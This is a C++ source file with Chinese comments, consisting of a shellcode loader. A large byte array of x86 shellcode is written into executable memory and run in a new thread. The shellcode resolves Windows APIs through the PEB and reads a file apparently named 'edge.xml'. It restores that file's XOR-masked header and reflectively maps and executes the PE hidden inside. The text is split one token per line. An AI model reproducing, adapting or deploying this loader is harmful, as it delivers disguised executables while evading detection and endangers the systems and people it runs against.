/
/
定义ShellCode代码
unsigned char g_table_char[]
=
{
233
,
11
,
3
,
0
,
0
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
100
,
161
,
48
,
0
,
0
,
0
,
133
,
192
,
120
,
13
,
139
,
64
,
12
,
139
,
64
,
20
,
139
,
0
,
139
,
0
,
139
,
64
,
16
,
195
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
85
,
139
,
236
,
131
,
236
,
24
,
100
,
161
,
48
,
0
,
0
,
0
,
83
,
86
,
87
,
139
,
64
,
12
,
137
,
77
,
240
,
139
,
112
,
12
,
139
,
86
,
24
,
137
,
85
,
252
,
133
,
210
,
15
,
132
,
162
,
0
,
0
,
0
,
139
,
66
,
60
,
51
,
255
,
139
,
78
,
44
,
139
,
94
,
48
,
139
,
54
,
139
,
68
,
16
,
120
,
137
,
69
,
244
,
137
,
117
,
248
,
133
,
192
,
116
,
121
,
139
,
195
,
15
,
172
,
193
,
16
,
15
,
183
,
241
,
51
,
201
,
133
,
246
,
116
,
26
,
15
,
190
,
20
,
11
,
193
,
207
,
13
,
128
,
60
,
11
,
97
,
124
,
3
,
131
,
199
,
224
,
65
,
3
,
250
,
59
,
206
,
114
,
233
,
139
,
85
,
252
,
139
,
69
,
244
,
51
,
219
,
3
,
194
,
137
,
69
,
244
,
139
,
72
,
32
,
3
,
202
,
57
,
88
,
24
,
118
,
57
,
102
,
144
,
139
,
49
,
51
,
192
,
3
,
242
,
131
,
193
,
4
,
137
,
77
,
236
,
15
,
31
,
64
,
0
,
138
,
22
,
141
,
118
,
1
,
193
,
200
,
13
,
15
,
190
,
202
,
3
,
193
,
132
,
210
,
117
,
239
,
139
,
85
,
252
,
3
,
199
,
59
,
69
,
240
,
116
,
38
,
139
,
69
,
244
,
67
,
139
,
77
,
236
,
59
,
88
,
24
,
114
,
201
,
139
,
117
,
248
,
139
,
86
,
24
,
137
,
85
,
252
,
133
,
210
,
15
,
133
,
94
,
255
,
255
,
255
,
51
,
192
,
95
,
94
,
91
,
139
,
229
,
93
,
195
,
139
,
117
,
244
,
95
,
139
,
70
,
36
,
141
,
4
,
88
,
15
,
183
,
12
,
16
,
139
,
70
,
28
,
94
,
91
,
141
,
4
,
136
,
139
,
4
,
16
,
3
,
194
,
139
,
229
,
93
,
195
,
85
,
139
,
236
,
131
,
236
,
100
,
83
,
86
,
87
,
139
,
249
,
137
,
125
,
244
,
232
,
221
,
254
,
255
,
255
,
139
,
208
,
51
,
246
,
139
,
66
,
60
,
57
,
116
,
16
,
124
,
117
,
7
,
51
,
246
,
233
,
156
,
0
,
0
,
0
,
139
,
68
,
16
,
120
,
133
,
192
,
116
,
241
,
139
,
92
,
16
,
24
,
133
,
219
,
116
,
233
,
139
,
76
,
16
,
36
,
139
,
124
,
16
,
32
,
3
,
202
,
139
,
68
,
16
,
28
,
3
,
250
,
3
,
194
,
137
,
77
,
252
,
51
,
201
,
137
,
69
,
248
,
75
,
139
,
4
,
143
,
3
,
194
,
128
,
56
,
71
,
117
,
78
,
128
,
120
,
1
,
101
,
117
,
72
,
128
,
120
,
2
,
116
,
117
,
66
,
128
,
120
,
3
,
80
,
117
,
60
,
128
,
120
,
4
,
114
,
117
,
54
,
128
,
120
,
5
,
111
,
117
,
48
,
128
,
120
,
6
,
99
,
117
,
42
,
128
,
120
,
7
,
65
,
117
,
36
,
128
,
120
,
8
,
100
,
117
,
30
,
128
,
120
,
9
,
100
,
117
,
24
,
128
,
120
,
10
,
114
,
117
,
18
,
128
,
120
,
11
,
101
,
117
,
12
,
128
,
120
,
12
,
115
,
117
,
6
,
128
,
120
,
13
,
115
,
116
,
7
,
65
,
59
,
203
,
118
,
163
,
235
,
15
,
139
,
69
,
252
,
139
,
117
,
248
,
15
,
183
,
4
,
72
,
139
,
52
,
134
,
3
,
242
,
139
,
125
,
244
,
141
,
69
,
156
,
137
,
55
,
80
,
199
,
69
,
156
,
76
,
111
,
97
,
100
,
199
,
69
,
160
,
76
,
105
,
98
,
114
,
199
,
69
,
164
,
97
,
114
,
121
,
65
,
198
,
69
,
168
,
0
,
232
,
9
,
254
,
255
,
255
,
80
,
139
,
7
,
255
,
208
,
141
,
77
,
196
,
137
,
71
,
4
,
81
,
141
,
77
,
208
,
199
,
69
,
208
,
85
,
115
,
101
,
114
,
81
,
199
,
69
,
212
,
51
,
50
,
46
,
100
,
102
,
199
,
69
,
216
,
108
,
108
,
198
,
69
,
218
,
0
,
199
,
69
,
196
,
77
,
101
,
115
,
115
,
199
,
69
,
200
,
97
,
103
,
101
,
66
,
199
,
69
,
204
,
111
,
120
,
65
,
0
,
255
,
208
,
80
,
139
,
7
,
255
,
208
,
137
,
71
,
8
,
141
,
69
,
184
,
80
,
199
,
69
,
184
,
67
,
114
,
101
,
97
,
199
,
69
,
188
,
116
,
101
,
70
,
105
,
199
,
69
,
192
,
108
,
101
,
65
,
0
,
232
,
164
,
253
,
255
,
255
,
80
,
139
,
7
,
255
,
208
,
137
,
71
,
12
,
141
,
69
,
172
,
80
,
199
,
69
,
172
,
71
,
101
,
116
,
70
,
199
,
69
,
176
,
105
,
108
,
101
,
83
,
199
,
69
,
180
,
105
,
122
,
101
,
0
,
232
,
126
,
253
,
255
,
255
,
80
,
139
,
7
,
255
,
208
,
137
,
71
,
16
,
141
,
69
,
232
,
80
,
199
,
69
,
232
,
82
,
101
,
97
,
100
,
199
,
69
,
236
,
70
,
105
,
108
,
101
,
198
,
69
,
240
,
0
,
232
,
91
,
253
,
255
,
255
,
80
,
139
,
7
,
255
,
208
,
185
,
76
,
119
,
38
,
7
,
137
,
71
,
20
,
232
,
105
,
253
,
255
,
255
,
141
,
77
,
220
,
137
,
71
,
36
,
81
,
199
,
69
,
220
,
110
,
116
,
100
,
108
,
199
,
69
,
224
,
108
,
46
,
100
,
108
,
102
,
199
,
69
,
228
,
108
,
0
,
255
,
208
,
185
,
80
,
125
,
163
,
126
,
232
,
66
,
253
,
255
,
255
,
185
,
210
,
138
,
43
,
141
,
137
,
71
,
28
,
232
,
53
,
253
,
255
,
255
,
137
,
71
,
32
,
95
,
94
,
91
,
139
,
229
,
93
,
195
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
85
,
139
,
236
,
131
,
228
,
248
,
131
,
236
,
40
,
141
,
12
,
36
,
232
,
255
,
253
,
255
,
255
,
141
,
12
,
36
,
232
,
7
,
0
,
0
,
0
,
139
,
229
,
93
,
195
,
204
,
204
,
204
,
85
,
139
,
236
,
131
,
236
,
116
,
83
,
86
,
87
,
106
,
0
,
106
,
0
,
106
,
3
,
106
,
0
,
106
,
1
,
139
,
249
,
199
,
69
,
172
,
101
,
100
,
103
,
101
,
104
,
0
,
0
,
0
,
128
,
141
,
69
,
172
,
199
,
69
,
176
,
46
,
120
,
109
,
108
,
80
,
139
,
71
,
12
,
102
,
199
,
69
,
180
,
0
,
0
,
255
,
208
,
139
,
79
,
16
,
139
,
240
,
106
,
0
,
86
,
255
,
209
,
139
,
79
,
28
,
80
,
137
,
69
,
244
,
199
,
69
,
220
,
0
,
0
,
0
,
0
,
255
,
209
,
139
,
79
,
20
,
131
,
196
,
4
,
139
,
216
,
141
,
69
,
220
,
137
,
93
,
216
,
106
,
0
,
80
,
255
,
117
,
244
,
83
,
86
,
255
,
209
,
15
,
182
,
67
,
1
,
52
,
48
,
138
,
11
,
4
,
48
,
128
,
241
,
48
,
136
,
67
,
1
,
128
,
193
,
48
,
15
,
182
,
67
,
2
,
52
,
48
,
136
,
11
,
4
,
48
,
136
,
67
,
2
,
15
,
182
,
67
,
3
,
52
,
48
,
4
,
48
,
136
,
67
,
3
,
15
,
182
,
67
,
4
,
52
,
48
,
4
,
48
,
106
,
32
,
136
,
67
,
4
,
141
,
69
,
140
,
106
,
0
,
80
,
139
,
71
,
32
,
255
,
208
,
139
,
125
,
244
,
185
,
181
,
65
,
217
,
94
,
137
,
93
,
140
,
137
,
125
,
144
,
232
,
65
,
252
,
255
,
255
,
185
,
45
,
177
,
136
,
148
,
137
,
69
,
232
,
137
,
69
,
148
,
232
,
49
,
252
,
255
,
255
,
185
,
19
,
156
,
191
,
189
,
137
,
69
,
212
,
137
,
69
,
152
,
232
,
33
,
252
,
255
,
255
,
185
,
104
,
253
,
133
,
128
,
137
,
69
,
204
,
137
,
69
,
156
,
232
,
17
,
252
,
255
,
255
,
185
,
179
,
114
,
233
,
90
,
137
,
69
,
236
,
137
,
69
,
160
,
232
,
1
,
252
,
255
,
255
,
185
,
229
,
92
,
239
,
63
,
137
,
69
,
208
,
137
,
69
,
164
,
232
,
241
,
251
,
255
,
255
,
51
,
246
,
137
,
69
,
200
,
137
,
69
,
168
,
137
,
117
,
252
,
131
,
255
,
64
,
15
,
134
,
55
,
3
,
0
,
0
,
184
,
77
,
90
,
0
,
0
,
102
,
57
,
3
,
15
,
133
,
41
,
3
,
0
,
0
,
139
,
75
,
60
,
137
,
77
,
240
,
141
,
129
,
248
,
0
,
0
,
0
,
59
,
248
,
15
,
130
,
21
,
3
,
0
,
0
,
3
,
203
,
137
,
77
,
248
,
129
,
57
,
80
,
69
,
0
,
0
,
15
,
133
,
4
,
3
,
0
,
0
,
102
,
139
,
65
,
22
,
186
,
2
,
32
,
0
,
0
,
102
,
35
,
194
,
102
,
59
,
194
,
15
,
133
,
239
,
2
,
0
,
0
,
184
,
224
,
0
,
0
,
0
,
102
,
57
,
65
,
20
,
15
,
133
,
224
,
2
,
0
,
0
,
15
,
183
,
121
,
6
,
51
,
210
,
137
,
125
,
224
,
133
,
255
,
116
,
110
,
129
,
193
,
8
,
1
,
0
,
0
,
15
,
31
,
0
,
139
,
65
,
4
,
3
,
1
,
59
,
69
,
244
,
15
,
135
,
188
,
2
,
0
,
0
,
66
,
131
,
193
,
40
,
59
,
215
,
124
,
234
,
139
,
69
,
248
,
51
,
210
,
139
,
117
,
224
,
139
,
72
,
56
,
141
,
152
,
8
,
1
,
0
,
0
,
139
,
64
,
84
,
72
,
137
,
77
,
228
,
3
,
193
,
247
,
241
,
139
,
248
,
15
,
175
,
249
,
139
,
83
,
248
,
57
,
19
,
139
,
77
,
228
,
15
,
79
,
19
,
141
,
91
,
40
,
3
,
83
,
212
,
141
,
65
,
255
,
3
,
194
,
51
,
210
,
247
,
241
,
15
,
175
,
193
,
59
,
248
,
15
,
77
,
199
,
139
,
248
,
131
,
238
,
1
,
117
,
215
,
139
,
93
,
216
,
235
,
22
,
139
,
69
,
240
,
51
,
210
,
139
,
73
,
56
,
139
,
68
,
24
,
84
,
72
,
3
,
193
,
247
,
241
,
139
,
248
,
15
,
175
,
249
,
133
,
255
,
15
,
132
,
71
,
2
,
0
,
0
,
106
,
64
,
104
,
0
,
16
,
0
,
0
,
141
,
69
,
216
,
137
,
125
,
216
,
80
,
106
,
0
,
141
,
69
,
252
,
80
,
106
,
255
,
255
,
85
,
212
,
139
,
117
,
252
,
133
,
246
,
15
,
132
,
35
,
2
,
0
,
0
,
139
,
125
,
240
,
15
,
183
,
84
,
31
,
6
,
139
,
194
,
141
,
12
,
128
,
139
,
68
,
31
,
84
,
141
,
60
,
200
,
51
,
201
,
133
,
255
,
126
,
23
,
138
,
4
,
25
,
136
,
4
,
49
,
65
,
139
,
117
,
252
,
59
,
207
,
124
,
242
,
139
,
77
,
248
,
15
,
183
,
81
,
6
,
235
,
3
,
139
,
77
,
248
,
51
,
192
,
51
,
255
,
137
,
69
,
244
,
102
,
59
,
250
,
115
,
74
,
141
,
145
,
8
,
1
,
0
,
0
,
15
,
31
,
0
,
139
,
74
,
252
,
133
,
201
,
116
,
36
,
131
,
58
,
0
,
116
,
31
,
141
,
60
,
49
,
51
,
201
,
57
,
10
,
118
,
22
,
139
,
66
,
4
,
3
,
193
,
138
,
4
,
24
,
136
,
4
,
57
,
65
,
59
,
10
,
114
,
240
,
139
,
117
,
252
,
139
,
69
,
244
,
139
,
77
,
248
,
64
,
137
,
69
,
244
,
131
,
194
,
40
,
15
,
183
,
65
,
6
,
57
,
69
,
244
,
139
,
69
,
244
,
124
,
191
,
139
,
145
,
160
,
0
,
0
,
0
,
133
,
210
,
116
,
119
,
131
,
185
,
164
,
0
,
0
,
0
,
0
,
118
,
110
,
139
,
198
,
141
,
60
,
50
,
43
,
65
,
52
,
139
,
79
,
4
,
137
,
69
,
228
,
139
,
7
,
3
,
193
,
116
,
87
,
199
,
69
,
212
,
0
,
48
,
0
,
0
,
199
,
69
,
224
,
0
,
160
,
0
,
0
,
141
,
89
,
248
,
186
,
0
,
0
,
0
,
0
,
209
,
235
,
116
,
49
,
15
,
183
,
68
,
87
,
8
,
139
,
200
,
129
,
225
,
0
,
240
,
0
,
0
,
102
,
59
,
77
,
212
,
116
,
6
,
102
,
59
,
77
,
224
,
117
,
16
,
139
,
77
,
228
,
37
,
255
,
15
,
0
,
0
,
3
,
7
,
1
,
12
,
48
,
139
,
117
,
252
,
66
,
59
,
211
,
124
,
210
,
139
,
79
,
4
,
139
,
4
,
15
,
3
,
249
,
139
,
79
,
4
,
3
,
193
,
117
,
183
,
139
,
77
,
248
,
139
,
129
,
128
,
0
,
0
,
0
,
133
,
192
,
15
,
132
,
10
,
1
,
0
,
0
,
139
,
20
,
48
,
141
,
12
,
48
,
137
,
77
,
224
,
133
,
210
,
15
,
132
,
225
,
0
,
0
,
0
,
139
,
93
,
236
,
139
,
65
,
16
,
3
,
198
,
199
,
69
,
244
,
0
,
0
,
0
,
0
,
137
,
69
,
212
,
141
,
4
,
50
,
137
,
69
,
228
,
139
,
65
,
12
,
3
,
198
,
80
,
141
,
69
,
192
,
80
,
255
,
211
,
106
,
1
,
141
,
69
,
192
,
80
,
141
,
69
,
184
,
80
,
255
,
85
,
208
,
141
,
69
,
244
,
80
,
141
,
69
,
184
,
80
,
106
,
0
,
106
,
0
,
255
,
85
,
204
,
141
,
69
,
184
,
80
,
255
,
85
,
200
,
139
,
77
,
244
,
133
,
201
,
15
,
132
,
164
,
0
,
0
,
0
,
139
,
117
,
228
,
51
,
255
,
139
,
6
,
133
,
192
,
116
,
110
,
51
,
219
,
199
,
69
,
240
,
0
,
0
,
0
,
0
,
133
,
192
,
121
,
24
,
15
,
183
,
192
,
133
,
192
,
15
,
132
,
129
,
0
,
0
,
0
,
141
,
85
,
240
,
82
,
80
,
106
,
0
,
81
,
255
,
85
,
232
,
235
,
37
,
139
,
117
,
252
,
131
,
192
,
2
,
3
,
198
,
116
,
109
,
80
,
141
,
69
,
192
,
80
,
255
,
85
,
236
,
141
,
69
,
240
,
80
,
106
,
0
,
141
,
69
,
192
,
80
,
255
,
117
,
244
,
255
,
85
,
232
,
139
,
117
,
228
,
139
,
69
,
240
,
133
,
192
,
116
,
72
,
139
,
77
,
212
,
71
,
137
,
4
,
11
,
141
,
28
,
189
,
0
,
0
,
0
,
0
,
139
,
4
,
51
,
133
,
192
,
116
,
5
,
139
,
77
,
244
,
235
,
151
,
139
,
93
,
236
,
139
,
77
,
224
,
139
,
117
,
252
,
131
,
193
,
20
,
137
,
77
,
224
,
139
,
17
,
133
,
210
,
15
,
133
,
34
,
255
,
255
,
255
,
139
,
69
,
248
,
137
,
112
,
52
,
139
,
77
,
252
,
139
,
64
,
40
,
81
,
106
,
1
,
106
,
0
,
3
,
193
,
255
,
208
,
139
,
117
,
252
,
95
,
139
,
198
,
94
,
91
,
139
,
229
,
93
,
195
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
,
204
};
int
main()
{
/
/
定义需要调用的Windows API函数名称
const char
*
VirtualAlloc
=
"VirtualAlloc"
;
const char
*
VirtualProtect
=
"VirtualProtect"
;
/
/
定义需要加载的动态链接库(DLL)的路径
const char
*
kernel32
=
"kernel32.dll"
;
/
/
计算字符集合的长度
int
g_Len
=
sizeof(g_table_char)
/
sizeof(g_table_char[
0
]);
/
/
加载动态链接库
HMODULE hKernel32
=
LoadLibrary(kernel32);
/
/
这里会报错,但不影响执行
if
(hKernel32
=
=
NULL) {
std::cerr <<
"Failed to load kernel32.dll\n"
;
return
1
;
}
/
/
获取函数指针
LPVOID (
*
ptrVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
ptrVirtualAlloc
=
(LPVOID(
*
)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(hKernel32, VirtualAlloc);
if
(ptrVirtualAlloc
=
=
NULL) {
std::cerr <<
"Failed to get VirtualAlloc function\n"
;
FreeLibrary(hKernel32);
return
1
;
}
/
/
分配内存
LPVOID g_Addr
=
ptrVirtualAlloc(NULL, g_Len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if
(g_Addr
=
=
NULL) {
std::cerr <<
"Failed to allocate memory\n"
;
FreeLibrary(hKernel32);
return
1
;
}
/
/
写入ShellCode到分配的内存中
memcpy(g_Addr, g_table_char, g_Len);
/
/
创建线程执行ShellCode
HANDLE hThread
=
CreateThread(NULL,
0
, (LPTHREAD_START_ROUTINE)g_Addr, NULL,
0
, NULL);
if
(hThread
=
=
NULL) {
std::cerr <<
"Failed to create thread\n"
;
VirtualFree(g_Addr,
0
, MEM_RELEASE);
FreeLibrary(hKernel32);
return
1
;
}
/
/
等待线程结束
WaitForSingleObject(hThread, INFINITE);
/
/
释放内存和关闭库
VirtualFree(g_Addr,
0
, MEM_RELEASE);
CloseHandle(hThread);
FreeLibrary(hKernel32);
return
0
;
}